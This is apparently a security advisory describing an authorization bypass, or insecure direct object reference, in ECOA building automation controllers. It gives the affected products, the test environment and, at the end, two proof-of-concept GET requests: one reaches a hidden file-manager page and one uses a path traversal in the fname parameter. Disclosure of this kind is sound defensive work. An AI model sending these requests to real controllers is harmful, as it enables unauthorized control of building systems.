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## https://sploitus.com/exploit?id=PACKETSTORM:164117
ECOA Building Automation System Authorization Bypass / IDOR  
  
  
Vendor: ECOA Technologies Corp.  
Product web page: http://www.ecoa.com.tw  
Affected version: ECOA ECS Router Controller - ECS (FLASH)  
ECOA RiskBuster Terminator - E6L45  
ECOA RiskBuster System - RB 3.0.0  
ECOA RiskBuster System - TRANE 1.0  
ECOA Graphic Control Software  
ECOA SmartHome II - E9246  
ECOA RiskTerminator  
  
Summary:  
#1 The Risk-Terminator Web Graphic control BEMS (Building Energy Management System) are  
designed to provide you with the latest in the Human Machine Interface (HMI) technology,  
for completely monitoring and controlling management. It may be used singly for small and  
medium sized facilities, could be linked together via the high-speed Ethernet to other  
servers that suit to World Wide Web (WWW) or Local Area Network (LAN) for large and more  
sophisticated applications. The Risk-Terminator practice Web basic conception that with  
operation simply and conveniently, totally share risk and make sure of security. Even  
remote sites may be controlled and monitored through Ethernet port, which base on standard  
transferring protocol like XML, Modbus TCP/IP or BACnet or URL.  
  
#2 The RiskBuster is a Web enabled network Router Server that uses Ethernet and TCP/IP  
networking technologies. It incorporates an embedded web server that can deliver user-specific  
web pages to any PC or mobile terminal running internet browser software. A user with an  
appropriate security codes can made adjustment or monitor the network control unit form  
any internet access point in the world. It also provides network management, integration  
and process control functions for any existing or new building controllers and microprocessor  
based equipments or system in buildings. The management function provided by the RiskBuster  
such as trend log and alarm generation improves building controllers and microprocessor  
based equipments or system management and audit trail capabilities. The integration function  
provided by the RiskBuster allows seamless integration such as information sharing (read/write)  
between building controllers and microprocessor based equipments or system without any need  
of major upgrade or equipments replacement and allow cost saving. The process control functions  
provided by the RiskBuster allow global control action to be implemented across any building  
controllers and microprocessor based equipments or system to allow full building control. The  
RiskBuster provide a truly cost effective solution for any building automation or high level  
integration application. A truly Ethernet network compliant feature allows the RiskBuster to  
be install anywhere in the building.  
  
#3 ECM0000160 Digital Logic Controller (DLC) are Pre-programmed controller it intended for  
Building Automate System; Environment control system; HVAC control system and other types of  
equipment. Being fully programmable it ensures complete application versatility, allowing  
specific products to be created according to customer requests. This controller is a configurable  
unitary controller based on the 32bit series microcomputer, with an on-board clock, have two  
RS-485 local bus.  
  
#4 The ECS0000160 is a Router Controller for building and industry products based on various  
microprocessors. It not only accessing information but also monitoring and controlling across  
Internet directly. The ECS0000160 can totally replace and improve a typical system that always  
has tedious panel and complex working process. An obviously benefit to our customers is that  
ECS0000160 enabling them to interact with their systems anytime, anywhere, not only just allowed  
to connect with singular specific operating system. It's like a whole package, which provides  
browsers an easy platform to monitor and control the doors, alarms, devices, etc. that all  
through web-pages operating, which works base on standard transmission Internet protocol. The  
ECS0000160 provides a low industry cost. A truly friendly network interface which is simple  
and easy to apply on factory floors. It supports from serial ports with options of RS485.  
  
#5 HOME SERVER-EHC9246150 - This web basic home-server is with the specifications of hidden  
installation, 32bits microcomputer and I/O Peripheral expansion circuit, which include: D/A  
conversion circuit, A/D conversion circuit and optical isolation circuit, using default proportional,  
integral and differential (P+I+D) and dead-zone control to control accurately. The controller  
features contains the sensing system, proportional control systems, computing modules, control  
modules, alarm detection system, and so on. It mainly used in building control, plant monitoring,  
air monitoring, lighting and power control, the use of premises for buildings, factories, offices,  
conference rooms, restaurants, hotels, etc.  
  
Desc:  
The BAS controller is vulnerable to insecure direct object references that occur when the application  
provides direct access to objects based on user-supplied input. As a result of this vulnerability  
attackers can bypass authorization and access the hidden resources in the system and execute privileged  
functionalities.  
  
Tested on: EMBED/1.0  
Apache Tomcat/6.0.44  
Apache Tomcat/6.0.18  
Windows Server  
MySQL Version 5.1.60  
MySQL Version 4.0.16  
Version 2.0.1.28 20180628  
  
  
Vulnerability discovered by Neurogenesia  
@zeroscience  
  
  
Advisory ID: ZSL-2021-5678  
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5678.php  
  
  
25.06.2021  
  
--  
  
  
Insecure Direct Object Reference (IDOR) / Authorization Bypass  
--------------------------------------------------------------  
  
- Any user can navigate to hidden pages due to improper access control.  
  
  
Request:  
  
GET http://192.168.1.3:8080/filemanger.jsp  
GET http://192.168.1.3:8080/main.jsp?fname=../sysuse/system01.frm